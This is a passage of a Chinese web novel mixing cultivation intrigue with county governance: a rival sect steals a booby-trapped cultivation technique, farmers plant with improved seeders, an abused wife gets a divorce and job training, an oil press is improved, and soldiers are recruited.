看他眼内神态松动,叶老表情缓和片刻,又慢慢悠悠开口:“老夫誓言已发,你不必担忧。况且老夫并非那等是非不分之人,若你好好配合,日后便是我们景旭宫的功臣,别说不伤你性命,哪怕赐你职位和诸多好处又如何? 我们景旭宫虽说名声不好,但对于能带来利益的人,还是会优待许多的。” 这话倒是不假,景旭宫的宗旨便是一切以利益看齐,若是有用之人,那便好好培养,养着日后发挥作用。 所以在景旭宫内,人人都争抢着更为有用。 毕竟垃圾只能被丢弃。 所以这倒是景旭宫为何近年来发展如此迅猛的缘故——毕竟宫内弟子各个都争强好胜,为了提升实力,什么都做。 眼看此人眼内犹豫不决,景旭宫宫主闷哼一声,打开暗门,让他看里面的诸多器物,丹药。 “别犹豫了,若你现在好好配合,这些东西任你使用,但若是宁死不配合,我也有别的手段让你求生不能,求死不得,最后也会乖乖配合。” 被俘虏的弟子本就在犹豫,毕竟眼看对方誓言已发,再琢磨自己确实也没有别的办法,正欲开口,便被景旭宫宫主打开的暗门惊了一跳。 ——里面有不少上古时期流传下来的器具,还有成排的丹药,都是平时他只听过却没见过的好物,这会眼内划过一抹渴求,再加上对方的威胁,这会反抗的心思生不出来,点头应下。 而几人则是眼看他运行《青梧引》,直到将那功法完整的运行一番。 几人不免心惊肉跳——这功法严谨无比,确实是真的! 只有运行起来才会知道这是一门多么强悍完美的功法!别说给此人现在的好处,哪怕更多,对他们来说都是只赚不赔! 此功法运行起来时,带着阵阵奇诡的能量波动,这股能量浸润着此人的肉身,似乎在滋养着他。 且此人也给他们演示一番制作符咒,确实如同功法所说,只需消耗极少的精力,便能绘制出不少符咒,比原先效率高多了。 且更为惊讶的是,景旭宫宫主在摸上他的脉搏后,脸色微微变化。 ——体内的精力更为充沛,似乎运行此功法能提升人的精力上限。 再仔细探查一番,此人脉象平稳,不像是修炼邪法后的狂躁,反而比原先还要平静,看来此功法至少不是什么邪魔外道——不过也无所谓,就算是邪魔外道,他们也照用不误,只是难免要担忧身体,但现在好了,这功法是正经道法,只是被永道宫走了狗屎运捡走了而已。 诸多好处一并砸来,几人一时间心中不免狂喜。 叶长老急切开口:“这功法修炼起来可有什么需要注意的地方?” 被俘虏的弟子仔细回忆,当日只是说需要有足够的道法基础才能修炼,这会老实开口:“确实有需要注意的” 几人立即竖起耳朵。 这就对了,这等完美功法势必要有限制,但等到听清楚所谓的限制便是需要足够道法基础才能修炼时,几人难免心中狂喜。 ——道法基础?这小子都能练,他们比他强多了,岂不是练起来更为顺手? 为了避免此人说谎诓骗他们,景旭宫宫主特意用了术法监测他是否说谎,在得到对方确实不曾说谎的推断后,这会是彻底放心了。 要知道这测谎术可是上古时期留下来的,绝对准确。 事实上,也确实准确,毕竟这被俘虏的弟子除了这些外确实不知道最为重要的条件是——归顺仙师。 当日他被带领到潜灵山永道宫总部时,只顾着和诸多师弟师妹对着老祖宗叩拜,却不知晓其内蕴含的意味。 ——话说这法子是仇离想的,若是说归顺仙师,难免会有弟子觉得永道宫太过于软弱这种类似的错觉,但归顺仙师又是必须要做的一环,如此思索下来,索性雕刻仙师塑像,然后以永道宫老祖宗之名,在弟子们发誓之际,便顺利完成归顺仙师的这一要求。 这样还有好处就是不会让功法泄露出去,毕竟弟子们永远不会知道最重要的前置条件是什么。 若不曾得到归顺仙师后的那一缕亲近天地,起初运转功法倒是会运转无异,只是会觉得微微生涩,但等继续修炼下去,便会冲破那层阻碍,不仅仅生涩之感逐渐消散,且还会让人深陷徜徉在天地灵气的乐趣中,但若是没有能力把控,很快不曾有灵气进入过的干涸的身体便会被磅礴的灵气慢慢填满,直到爆体而亡。 可以这么说,仙师给与的那一缕天地之气,就是控制身体和天地灵气之间的钥匙。 没有钥匙看管,可想而知后果会有多惨烈。 当然,这个过程会因为身体素质,修为高低进展不同,越是修为越高,身体素质越好,崩溃会来得越晚。 所以这便是为何永道宫对《青梧引》不曾大力看管的缘故。 且景旭宫也是不会想到会有这样奇诡的前置条件,毕竟他们可是用上古术法测试过的,这绝非谎言。 但确实,一个不知情的弟子,又如何能说出来最重要的东西? 眼看功法无误,为了预防万一,他们将各自最看好的亲传弟子找来,欲让他们先试试这功法修炼起来到底如何。 第196章 春耕 景旭宫倒是很迅速,一番令下后,亲传弟子各个前来。 “《青梧引》是本宫从上古遗迹之地得到的一本仙家功法,你们作为景旭宫的下一任接班人,自当潜心修炼才是。” 将《青梧引》的功法记录本让亲传弟子们传阅着看完后,原先恭敬的弟子们脸庞倒是显露出一抹难以隐蔽的惊喜和震撼。 “师父,这功法可是真的?” 亲传弟子在景旭宫地位特殊,备受重用,毕竟他们和师父修炼的功法同门同源,只有他们好了,师父才能更好。 这便是亲传术法的要求。 所以既然双方本质上都是利益关系,所以他们倒是不曾想过自家师父会坑害自己,这会只以为是宫主真的弄到了新功法,想让修为更进一步而已。 但是事实上,景旭宫的亲传功法确实诡异,但并非他们所认为的同甘共苦,而是只能甘不能苦。 因为和自己修炼的功法同门同源,所以这便是相当于多养了一条命。 既然这《青梧引》有如此妙用,他们自然不可能直接去尝试,这会以往养着的亲传弟子就派上了用场。 ——若是他们都修炼无误,那确实能说明这功法没问题。 等到亲传弟子们开始按照所教授的方法运转《青梧引》时,起初只觉得浑身艰涩,像是许久不曾动作过的木偶人一样。 景旭宫几人一直在观察着亲传弟子的动作,这会不由地面色凝重。 心中倒是不约而同——这《青梧引》修炼起来真的没问题?为何看他们一脸艰难,不像是那永道宫弟子修炼起来容易? 正是怀疑之际,直到其中一个弟子突破那层阻碍后,《青梧引》的运转顿时流畅起来。 毕竟能留在景旭宫长老们身旁的亲传弟子,各个都是天赋超绝,虽说运转艰涩,但依旧努力寻找突破的机遇,总算是把握住那一抹灵光,突破了禁锢。 而后,几乎瞬间,就能感觉到体内正在被灵气浸润滋养,灵气温和的修补着以往受伤的神魂,这会不免激动。 “师父,这功法真是神奇,灵气入体原来是这等感觉,甚是奇妙。” 自从他突破后,其余亲传弟子自然不愿意不如他,各个咬牙,紧跟着也突破了那层阻碍。 一时半会,惊叹声此起彼伏。 景旭宫几人倒是暗自打量他们周身的变化。 很纯粹的味道,看来并未有失控情况出现。 但还需要继续观察。 等亲传弟子们继续运转一个大周天后,体内依旧无比稳固,且修为倒是和那永道宫一样,进步了许多。 且因为天赋超绝,几人修为提升速度飞快,这会陷入这种奇妙的突破天地感悟中,一时半会倒是无一人开口。 再次检测一番,在仔细感受着从亲传弟子身上传递回来的那一丝一缕的精纯灵气,这会终于放下心来。 确定这功法确实没问题后,谨慎的几人这才屏退亲传弟子,几人不再开口,而是立马进入修炼。 等到突破那层阻碍后,灵气缓缓滋养全身,确实感觉让人难以自拔。 再修炼一个小周天,几人只觉得原先卡顿的修炼节点逐渐明悟,这会竟然是各个有所突破。 等到睁开眼时,难免兴奋不已——这功法可谓神功,只是小小运行一番竟然就有如此收获,要知道以往这点修为提升都需要一个月才能做到,而如今快得不是一星半点。 几人难免庆幸将这《青梧引》抢了过来,不然若是任由那永道宫按照这样变态的速度发展下去,岂不是迟早要击溃他们景旭宫,作为道宫一霸? 对于他们来说,这情况是万万不能接受的。 既验证此功法无误,几人自然是各自回去,潜心修炼。 至于永道宫被俘虏的弟子,则是被他们严加看管起来,毕竟此人日后或许还有更多的作用。 不过景旭宫倒是还算讲理,确实如同承诺所说,给了他应有的优渥对待。 而等到仇离,李归一,仇朗三人前来打探消息时,看到的便是宫内眼熟的那弟子,正悠哉悠哉的修炼,且脖颈间,手指戴着的器具三人顿时看得清楚——上古时期的护身器具! 这等护具别说给他,就算是给宫内亲传弟子都有纠结犹豫片刻,既如此,那结果便很明朗了。 ——此人已经吐露《青梧引》消息。 三人对视一眼,这才迅速从景旭宫离开。 离开时刻意避开了巡逻最严密的地方,等到出去后,三人这才凝重开口。 “看来他们景旭宫修炼了《青梧引》。” 在没有效忠于仙师的情况下修炼,结局会如何自然是不用说。 三人立即将此情报带回宫内,至于何时进行下一步计划,还需要再定。 毕竟他们今日来到景旭宫,目的自然是为了打探消息,寻找机会看是否能将自家弟子救出来。 现在既然营救任务不需要了,但后续的作战计划依旧需要仔细部署。 最好是在景旭宫即将爆雷之际攻入他们核心,如此一来,定是大获全胜,不过在那之前,最好隐忍不发,别让对方察觉到不对劲才是最要紧的事。 有句话说得好。 ——欲要其亡,必先让其狂。 只要景旭宫众人知晓那《青梧引》强悍的效果后,又有谁会不心动? 时间一晃而过,很快便来到了春季三月份。 原先里正找到的改良播种机,如今早就在方大人的操作下生产了许多,多到足够让农人使用。 播种机租赁价格为每日20文,足够便宜,若是购买的话,则价格为一两。 因售价不高,家中有闲钱的自然是购买,毕竟日后还能用,而手头紧张的自然是选择了租赁。 这改良农机很快便被农人租赁,购买走。 而专门负责耕种的玉县则早在冬季时大部分重要的建筑已经铺设完成,目前已经可以开始进行大批量的栽种。 很快,先有专业负责讲解种田技巧的队伍过来讲课,等到确定流民们都听懂后,这些负责讲课的队伍这才换着地方继续讲解。 这负责讲解的队伍自然就是由县令大人特意组建起来的农业部门。 目的主要是为了负责讲解栽种,养育知识。 除了耕种时需要下去给农人们讲解如何合理种植作物外,平常时需要做的就是不断地研究农作物,且将过往经验整理成册,好让农业能够继续发展得更好。 农业部门的人数目前有二十人,这会到春耕时,自然是全部下去工作。 因目前县域还不算特别多,所以暂且够用。 但方知意知晓,等日后伴随着县域数量增多,至少每个县都需要开设农业部门,专门负责指导耕种和收获,以及负责平时的本地农作物研究。 这件事被方知意提上征程。 而玉县则是由于先前率先送进去一大部分流民,现在倒是看着还颇有几分活力——毕竟经过了一个冬天的磨合,众人倒是也对仙师,对方大人,以及那位祝大人颇为信赖。 不说别的,至少来到此处后,他们吃饱穿暖,比在家乡好多了。 且等听到祝大人所说,田地重新分配,虽说田地的所属权在官府,但可以免费让他们种植。 念及第一年,并不需要缴税。 刚听到这消息时,众人难免不敢置信。 还能有免税的时候?原先在家乡,那些官府人恨不得税再高点,全然不顾他们的死活。 而现在,来到这玉县后,竟有诸多好处。 一开始他们负责修建官府办公的地方,以及城墙,等到修建好后,他们便又开始修建房屋。 修建好的房屋并非免费,而是对他们有着优先购买权,若是钱不够用,还可以采取贷款方式,每月还钱。 不过这贷款是要签在户口上的,所以审核得十分严格,自不会允许出现能逃账的机会。 百姓倒也觉得合理,毕竟官府都给免费管吃管住,他们不过是出卖了力气而已,如今却能过上比原先好多了的生活,谁不乐意? 随着房屋建设完毕,沼气池也铺设完毕,流民们倒是也享受到了那明亮的沼气灯,以及沼气用热的温暖。 因房屋建造出来的时间较迟,所以他们不曾使用太久暖气,很快就要在三月中旬停暖了。 不少人舍不得,毕竟这有暖气是真好啊。 但这种供暖事关一整个县域,自然由官府全程把控。 好在是三月中旬也不需要暖气,天气逐渐回暖,要开始春耕了。 等到春耕时,流民们大都租赁到了改良农机,这会扶着农机,耕种着棉花,大豆,小麦,各个脸上带笑。 原先姜定获得的土地肥沃buff依旧继续作用于他旗下的领地。 且这玉县土地本就颇为肥沃,如今加上buff,自然是肥沃得不像话。 倒是初次耕种的流民们吓了一跳。 “这土地肥沃得发黑,想来今年收成不会差。” “老夫以往可不曾见到过这般肥沃的土地,看来果然不愧是仙人旗下,竟然是连土地都这般惊人” “等到四月中旬,就要种植地瓜了,听说那物能够亩产好几千斤” 也是放松下来,耕种的农人们互相打趣闲聊,倒是说什么的都有。 “依我看种小麦赚钱啊,那酒厂需要小麦。” “这可不对,酒厂是需要小麦,但它厂子大小受限制,消耗的小麦固定,依我看,还是种植大豆好,毕竟我看这大豆日常消费更多,且听说这豆腐厂还要继续扩建。” 说这话的人正是流民一行中念过书,且消息最为灵通之人,这话一说,倒是立马让众人提起精神。 “六爷,这豆腐厂真要扩建?还在那斗坡村?可是要新招人了?” 第197章 和离 以往像这种消息他们是不知晓的,但实在是因为百废待兴,若是哪里动工,倒是明显,所以这才让这些消息灵通之人察觉到了商机。 不仅互相交换情报,更有甚者将此小道消息收集起来,打包售卖,可谓是个人有个人的活法和来钱的路子。 至于这六爷便是从别人口中得到的消息。 “自然是真的,这豆腐厂我听说不仅仅是要再开一家分厂,而是要开好几家,按照那些人所说,至少每个县域都会开设。” 众人顿时唏嘘——开设这么多?! 但又一想那豆腐制品确实异常受欢迎,且上过扫盲班后,他们也知晓这豆制品经常食用对人的身体大有好处,倒也能了解为何这豆制品售卖得这般快。 再想想看,若是不开设豆腐厂,日后他们县域可是吃不到那新鲜豆腐的,只能吃从别的县域运送过来的干豆腐,或者冬日特供冻豆腐。 这么一想,众人顿觉接受不了。 ——便宜好吃的东西,谁不乐意吃?家中就算是没钱,吃不到什么荤腥之物,这豆腐两文一块,买来炖煮也能当做肉菜吃了。 这会各个交换眼神,倒是觉得这开设豆腐厂一事定是真的,心中不免思索着改日去那豆腐厂看看情况,至少看看该如何提前做做准备,能让他们在新厂招聘中也能被选中,毕竟那官府企业来的更为稳当体面。 除了玉县的流民们开始播种外,别的地方也是如此。 因为有了改良农机,春季耕种速度快了不少,耕种的效率更高,且还是在今年耕地变多的情况下。 原本往年耕种会持续到最后一日才算完事,但今年反而提前七天完成了! 里正看着刚播种得整整齐齐的棉花,大豆,小麦等物,倒是难免颇为兴奋。 ——改良农机的作用比想象中大,且应当是仙师的功力?总感觉这土地比去年肥沃了不少。 想来今年收成不错。 除了春耕外,村子里众人倒是还有时间继续做别的活计,该上工的上工,该上学的上学,倒是不影响。 说起上学,昨日高级班去了不少人。 这些人大都是原先就读过书,且思想较为开明的一批人。 只是因为部分内容不同,但整体读书的核心还是一致的,所以这些人倒是上升的很快。 等到高级班毕业,在品行考察通过后,便进入各个县域等待分配岗位。 分配岗位是由方大人和祝大人共同参谋决定的——从此人的适合的方面考虑分配。 很快,这批人才便被二人分到了对应的岗位上,毕竟现在百废待兴,人才也是极度稀缺,一个人才能让管理旗下县域更为轻松。 这一批高级班的学生各个去了官府工作,这消息自然也在第二天就登上了报纸头条。 这自然是方知意的意思——得让百姓们看看读书确实有好处,只要进了高级班,出来的话绝对是分配工作岗位的,且都是地位待遇都很好的官府岗位。 原先还有些不明白读书到底有何用的百姓,在看到报纸上处于最明显位置的消息顿时群情激涌。 “看到今天的报纸了没?只要考入高级班就能分配到官府!” “真的假的?莫不是还要看身份地位?” “老思想!咱们风仙县什么时候执行过外面的那一套?仙师可没说日后还要看身份地位!” “嘶——这岂不是说,日后人人都有可能进入官府?” “我看是这个意思,谁能进入那高级班,那便是稳了,日后定能当官啊!” 一时间,读书的热情再次被推高。 除却这消息外,中级班毕业的话可以选择一些较为复杂的财物等需要技能的岗位,这些岗位大都是厂子内的,或者是官府内的技术工种,待遇和地位也是相当不错。 有不少人决定直接从中级班毕业,毕竟高级班实在是太难进,且自身能力有限,能从中级班毕业已经很不错了。 自然这中级班毕业的去向也被报纸报道一番,原先觉得高级班距离自己太遥远的人此刻倒是多了几分参与感——毕竟感觉中级班咬咬牙还有上去的可能啊。 尤其是前段时间,本县有不少从普通人家出来的聪慧小娘子陆陆续续进了中级班,估计有望紧跟着毕业。 自从这两条消息一经报纸报道,几乎家中还不错的情况下,都会让每个孩子都去学堂读书——毕竟读书了才有机会,不读书连翻身的可能都没有。 风仙县的本地百姓虽说对此事惊讶,但毕竟还算是日渐被本县开明的思想同化,虽说惊诧,但也只是慢慢将此事视为日常。 而前来投奔的一众流民倒是各个瞪大眼睛。 他们刚隔离完,正处于在扫盲班接受教育的时间,在听到这里竟然能让普通人也能当官,而且还是分配时,各个觉得自己还没睡醒。 “这什么所谓的高级班是真的?只要进入里面,出来必定能进入官府工作?” “听起来和做梦一样,以往商人可是不能做官的,如今这风仙县居然没有限制?” “这怎地行,商人若是为官,定会让本地混乱,毕竟那些人都是追逐利益之人啊!” “嘘,小点声,这晋升之法可是仙师提出来了,那位手法通天,自然有什么法子遏制这情况出现!” 此人猜得倒是不错,在风仙县任职之人均会经受契约约束,不得贪污枉法,但相应的,待遇要比原先的官府人员好太多了。 在完全正常办公的情况下,一个人足以养活全家,且还有富余,各个节假日,均会给与对应的节日礼,各项福利完善。 这会也有人开口:“退一万步,这学堂上学是不是很贵?毕竟这可是能当官的路啊!” 一时间流民们倒是各个认可这说法,但等今日上完扫盲课后,各个瞪大眼睛不敢置信。 刚才扫盲课的话语似乎还在脑内盘旋。 “本县内学堂一年收费为一两,且晋升全靠考核绝对透明” 一两?不说学费,就说笔墨纸砚完全都不够花啊! 且听那个意思,考核绝对是完全公平公正的。 一时间,众人心中难□□露出惊叹,疑惑等复杂情绪,至少初来乍到的他们很难理解为何风仙县要这般。 但又一想,都仙人掌管全城了,有点不一样很正常,要是都和以前一样,那才叫不对劲。 且这几日在扫盲班,他们学到了不少本县特色知识,譬如一周是七天,以及本县最低日薪为一百文,若是被诓骗不给发放工资去官府哪个部门报告,或者如何洗手,如何杀虫这类卫生知识。 甚至还有本县特色的改革,女人能出门上工,工钱可自行处理,有土地分配权利,也能轻易和离,丈夫不能无端殴打妻子,若是有的话,按照法律定责。 这绝对是他们头一次听到的这般不同的改动。 一开始自然有人接受不了,毕竟早就习惯了原先的律法,但等亲眼看到不听话的,无视这条消息的人均被官兵带走后,倒是各个紧张,原先对此不屑一顾的众人也纷纷恐慌,先是命家中妇人不许多嘴,而后又是夹着尾巴战战兢兢做人。 但其实这样瞒不过的,毕竟风仙县有专门负责下来查看妇人状态的组织部门,且下来巡逻时间不定。 若是被查到家暴等情况的话,会按照原先的刑罚加倍处罚,还会询问妇人态度——想和离吗?若是和离的话,可以前往本县特有的和离妇人保障部门进行登记,可在官府的安排下学习新的技术用来养活自己,若是担心孩子无人照料,还可以将孩子放进官府专门开设的托管所,好让这些妇人可暂时将孩子寄养在这里,以免打扰她们上工。 俨然是一副严密运转的程序。 第一个接受此帮助的妇人被打得鼻青脸肿,手中还拉着一个孩子。 若是以往,她不敢反抗,毕竟就算离开了丈夫,她同时也失去了孩子,且最残酷的是她作为一个妇人找不到工作可以养活自己,无奈之下才会处处隐忍,讨好丈夫。 但既如今风仙县有此等保护妇人的律法,或许是实在受不了了,在检查队上门时,她果断举报了丈夫。 很快,丈夫被带走,而她则是被带到了那负责登记部门。 刚来到登记部门时,坐着的也是位衣着严肃的娘子,她有些惊慌,不晓得自己要说些什么,倒是对方那张严肃的面庞在看到她后松懈几分。 “杨娘子?你的事我已经听说了,你是想和离还是日后继续和现在的杨三继续过下去?” 杨娘子不免瑟缩片刻,而后缓缓开口:“杨三对我不好,将我打成这样我自然是想和离的,只不过我作为一妇人,如何能找到工作养活自己?又如何能养活我和孩子二人?” 说到伤心处,杨娘子抹了抹眼泪。 她并非不曾上过扫盲班,但她过往的人生经历告诉她,若是只听信那律法所写,才是要吃大亏。 但来到这风仙县后,不知道是被此地的氛围感染,亦或是别的,她这才大着胆子,试图自救。 若是别的地方说会给和离妇人一份糊口工作她或许不信,但自她踏入这风仙县来,她靠眼睛去看——譬如此地有许多妇人在外上工,且各个神采飞扬,不像外面的妇人一样怯懦,甚至她还亲眼看到过妇人当街和丈夫对骂,模样一点不虚。 一开始她以为是此妇人娘家给力,但等了解后才知道,并非如此,而是因为那妇人自己在厂子赚钱,甚至要比丈夫还要赚钱多,这才有底气和对方叫板。 杨娘子甚是心动,但又怀疑是个例,但等时间一久,看到的绝非个例后,这会想和离的心思蠢蠢欲动。 终于,在杨三再次家暴她后,她果断趁着稽查组下来查的时候跑出家门,正好被稽查组看到狼狈模样。 这几乎不需要浪费口舌多说话,等杨娘子看着杨三被带走,自己迷迷糊糊来到登记处后,被冷风一吹,燥热的大脑顿时清醒。 ——她必须要离开杨三,不然日后他绝对会报复自己! 这才有了上番对话。 那人听到杨娘子的担忧,倒是开口解释:“不必多想,只要杨娘子你想和离,你所担心的东西都不是问题。” 或许是对方的温和让她有了勇气,杨娘子只知道自己呆愣愣点头,而后被引导着签了名。 立马就有人过来带着她去一旁的小屋,负责让她自己选择想学点什么,杨娘子看着琳琅满目的技能,最后考虑到她做饭不错,选择了甜点。 带她来的妇人笑道:“甜点?你可知日后学好了能去哪儿?” 杨娘子呆愣愣摇头,对方笑眯眯:“别紧张,若你学好了可去张氏甜品铺里,甜品店最近开了分店,大概半个月后开业,需要新的人手作为预备役。” 杨娘子并不笨,这会脑内大概将甜品店和点心铺子画上对勾,且更为重要的是,她觉得自己的手艺并不差,若是这半个月努力一番,未尝不能进入那张氏铺子里。 只是发愁孩子该带去哪里。 对方似乎察觉到她的担忧,笑眯眯指着另一边的房间。 “托管所,可以暂时将孩子放置在内,等学完后再去接孩子即可。” 且更为合理的是,因学习得需要半个月,所以半个月期间,她们可以暂时居住在学习地点的宿舍内,每日还管饭,直到学习完毕。 若实力足够,那便被顺利招收,若是实力不够可以选择再学习,亦或是被介绍到其他要求低一些的工作单位。 这便是变相的给予工作了,到底是如何避免不需要的人过来蹭工作而假和离呢? 首先需要稽查组去真实验证,只有得到验证,且验证通过,确定为必须要具备的和离,才会给予上述帮助,所以自然不存在能成功骗过官府的情况,再加上所有官府人员都被契约限制,所以一切流程完全合规合法,没有任何可操作空间。 杨娘子在知道自家孩子能被暂时带走后,倒是放宽了心思。 她决定自己定要好好学,好第一次就能去那张氏甜品铺子。 毕竟从刚才那位娘子的口气里她能听出来,那甜品铺子应当待遇不错。 人自然都愿意往高处走,既然有机会,她自然也是如此。 等到真正开始学习时,杨娘子本还有些紧张,但看到竟然还有稀稀拉拉的几个娘子陪着自己一起学时,原先的那点害怕焦虑都没了。 等到休息时间,她还会同这些娘子们交流一番,发现她们都差不多,几乎都是被家暴得忍无可忍,选择了和离。 几人学的东西都一致,所以日常倒是会互相沟通交流。 学习的日子过得飞快,等到半个月后,那张氏甜品铺子的管事的过来看是否够格。 杨娘子心脏乱跳,好容易平复心情,将最近学习到的东西一一让对方查看。 其余几人也是如此。 最后倒也不浪费她多日努力,她被张氏点心铺子招了进去。 那管事的告诉她可以带着必要衣物跟着她一同前往风仙县。 日常的话,铺子里员工都是住在县内的。 杨娘子又高兴又发愁。 喜的是有个住宿地方,她不用再操心另花钱找了。 愁的是自家孩子还得跟着自己一起去呢。 这会刚想开口,倒是对方先道:“你的情况我知晓,我们那里都是一人一个房间,你可以带着孩子一起过去。” 杨娘子猝不及防被这好消息惊到了,这会忙收拾东西,带着女儿前去风仙县。 等到和另外被选中的三个妇人一起坐上马车时,她还觉得有些不真实。 ——困扰她许久的家暴,那些彷徨无助,不知道前路在何方的日子,就这样结束了? 马车在晃悠,却比不上她思绪乱飘。 杨娘子怎么也想不到,她竟然还能有这么一日。 这会搂着女儿,偷偷擦了擦眼泪。 等到到了风仙县那张氏甜品铺时,杨娘子这才打量着日后自己要工作的地方。 本以为是个小一些的甜品铺子,但等到看到时,杨娘子还是惊了片刻。 比她想象中的大多了,就是还没人,想到刚才管事的说的后日开业,她倒也立马理解。 抱着孩子下了马车,晚上睡在员工的小房间时,她乱飘的心这才缓缓落地。 ——或许,抗争有用,至少,在这里有用。 第198章 征召 等到第二日杨娘子安顿下来后,她这才放宽了心。 眼看那张氏点心铺开得红火,她倒是窥探出几分端倪来——怕是日后这点心铺子还要多开几家分店哩!毕竟这么好的生意! 原先甜点都金贵,除了那些个大户人家,没人能买得起,但现在因为普遍工资高了,人人都有活干了,虽说点心依旧昂贵,但好歹逢年过节也能去买上一些和家里人分享。 而更重要的是,大伙都对未来很有信心,毕竟这日子是眼看一天比一天好。 像是杨娘子这般受到帮助的和离娘子在风仙县有不少,大都是逼得无论可走,好在各个通过官府的帮助给自己谋了一份出路,不论是何工作,这些妇人干得都是心满意足,毕竟离了丈夫,不用再挨打,赚的钱还是自己的,怎么看都是赚了。 稽查组查得也严厉,基本上对于家暴行为是零容忍,送进去的人不但要被关押做苦力,更是要接受鞭刑。 实施鞭刑的大都是专门的刑罚人,一鞭子下去,皮开肉绽,牢房里惨叫声不止,倒是让那些排队受刑的人心惊肉跳。 别说轮到自己,哪怕就算是在门外听着都觉得心惊肉跳。 等轮到自己时,难免想求饶,话还没到嘴边,就被一鞭子抽得破碎在嘴里,好不容易求饶出声,那刑罚人抽得更狠了。 “你等若是好好做人,何故会沦落于此!既到了这里,就闭嘴好好受着!” 牢内惨叫连连,这刑罚人倒是十分熟练,既能抽得人痛不欲生,又不会说打得流血不止,死在牢房里。 这家暴的人被送出来,几乎都要瘫在床上呆个十天半个月才能下床,且后背以及胳膊留下的印记久久不消,日后只要是露出胳膊,便会被人一眼看出是受了刑罚的,也就会被人一眼看出此人犯了家暴罪。 自这手段下来后,不少人立马不敢了,倒是有人觉得太过分了——岂有此理,对这群小娘们太好了! 但无人敢反驳——谁去反驳,谁能反驳仙师?毕竟这可是仙师下达的命令,若是还想在本县继续生活,就乖乖听话得了! 数番措施下来后,确实有效,目前风仙县已然是执行的最为标准的县域,其余刚开设的县域在各个负责人的管理下,倒也是逐渐按照风仙县的标准开始慢慢推广各项法律,力求做到一开始就按照方大人下发的最高法条执行,毕竟只有一开始立好了,后续才不会难管理。 玉县以及周围数县的种植工作总算完成,因今年棉花作物种植数量不少,方知意下令可以考虑开设榨油厂。 厂子还在建设,她倒是派仇离去看看那榨油可有提高效率的法子。 仇离虽潜心修炼《青梧引》,但在该需要自己时,倒也会尽力而为,毕竟他既投奔仙师,为仙师排忧解难也是应该的。 等到仇离被引着进入那潜灵山上的集闻楼后,顿觉得后悔——他怎么闲暇时间没过来看看? 不说别的,单论他刚上来时那所谓的“电梯”就吸引了他的注意力——到底是何原理?又是如何运行的?看起来不像是仙师的仙法。 等到进入集闻楼内,仇离顿觉自己还是来得太迟了! 满满当当的藏书,尽管他并非方大人那等喜欢看杂书之人,但这书籍分类区域的器械改造,发明创造区域他还是颇为感兴趣,毕竟据方大人所说,这些书籍内可是暗含着类似沼气池那般逆天的存在。 一旦知晓此类书籍竟蕴含此等巧妙之物后,基本上不用方大人继续劝,他主动就来了。 不过为了解决最先的榨油问题,仇离先专注于寻找提高榨油产量的方法。 直奔目的快速翻找后,仇离的目光停留在翻开的一页纸张上。 上面写的清楚,可将压油的木楔榨改进成为螺旋木榨,改造相对来说简单,只需要在榨膛内壁刻上螺旋纹路,制作带有螺旋纹路的木杆,通过旋转木杆向前推进,即可持续性挤压棉籽,可以让压力更均匀,且无须频繁停手添楔,可大幅度提高压榨效率。 仇离难免心生澎湃。 这改动非常小,但效率会比原先提升三分之一。 不可谓不神奇。 除却改进工具以外,仇离往后翻了两页,将上面所写的“复榨”两个字画出圈。 ——比较适用于目前原材料比较艰难珍稀的情况。 他倒是没想到这么容易就找到了对应的解决之法,本以为还要花费更多的时间。 等将这解决之法交付给方大人派来的专人后,仇离开始如痴如醉的看着其内的藏书。 等到看到楼内熄了沼气灯,这才恋恋不舍地离开。 为了不落下每日修炼进度,仇离一般情况会先修炼,等每日修炼结束后,这才放心大胆地前往集闻楼看书。 那压榨的改进之法方知意很快便收到了,因改动比较简单,所以这活计被托付给了官府内的木匠所。 话说这木匠所从冬天到现在,几乎没停下来过。 因先前要急着制作改良播种机,本以为开春后播种机的制作需求会少点,但谁能想到,这玩意因为好用且价格不贵,不少人农户竟然是生出了想要购买持有的心思,毕竟自己买了到秋天还能再使用,省得租了,来来回回租东西也麻烦,且也不便宜。 因市场需求较大,木匠所倒是一直没闲着,活是越干越有。 而至于这榨油机器的改进工作,也需要他们接手,然后将工具制作出来一个模具,再由器械厂负责大批量生产。 因榨油的工具不单单是能榨棉籽油,亦可用于大豆,芝麻,瓜子,花生等等作物,所以一时半会,需求量也是高了许多。 至于器械厂也是收到了不少新订单——因今年棉花大批次种植,想来日后或许棉花数量增加,纺织厂果断下了订单,让他们继续制作纺织机。 方知意很快便发现这木匠所的工作和器械厂有些许重合,在实际看到两者所负责的工作后,将木匠所的定位改为只制作模具,而将器械厂的定位改为大批量制作机械。 这样的话,木匠所只负责改进工具,制造出一个可复制的模型,而后大批量制作器械的话,则是由器械厂接手。 至于内部人员的去留,则是让员工自行选择,如果需要高工资的可前往器械厂工作,想清闲一些的,则可以留在木匠所。 这条约很有人性,不少年轻点的都愿意多赚点钱,木匠所工作职位较少,且技术要求较高,工资相对来说没有器械厂高,但不缺钱的,技术好的则是考虑留下来。 等到解决完人事调动后,方知意则是将目光放得更长远。 ——先前在附近开拓新的县域时,虽说尽可能的低调小心,但依旧难免会让附近那几个难搞的流寇团队警惕起来。 既对方已经开始警惕,她也得让手下的官兵加强训练才是。 当然了,只靠风仙县的官兵不够,必须要在民间招收有武术基础的,愿意当官兵的人操练起来。 很快,一则名为官兵征召的帖子便登在了报纸上。 此消息发出的瞬间,今日报纸几乎是售空。 几乎人人都在议论着这事,毕竟直接征召后可以去当官兵,以前可是从来没有发生过这些事的! 一时半会,立马有不少人蠢蠢欲动——要知道原先的话,官兵或许不赚钱,需要靠着压迫百姓,抛弃良知才能过活,但风仙县可不是,本县给的福利待遇很足,这绝对是个好机会! 这也就是现在急缺人手,若是登日后稳定下来后,公家单位哪能是这么容易就能进去的? 搁以前的话,要想当个赚钱少的官兵都需要从中运作,哪像现在只需要报名即可! 征召消息传出来后,不少本地武馆内的学员,亦或是流民内同样懂拳脚的诸位便各个沸腾。 这会报名处人声鼎沸,等到报名完毕,竞选工作很快便开始了。 ——有官府专业人员负责评判是否体能过关,以及对人品,三观方面也是多有要求。 原以为在民间征召或许一时半会招收不到太多高质量的人才,但很快,他们就发现这个想法错得离谱。 不少原先见都没见过的好苗子喷涌而出,原先他们只觉得放宽征召条件算了,不然恐怕难以凑齐所需要的人员。 但眼下,别说放宽,甚至需要收紧条件了,毕竟谁能想到,这些人竟然各个是隐藏的高手? 这征召,不说别的,但凡能通过的人,可以说各个都可以算是人中龙凤的存在了。 无论是侦查,武术,以及体力,学习能力,甚至不比现役的官府人员素质差。 征召初下来的那日,柳叁则是心神激荡——还能有这好事? 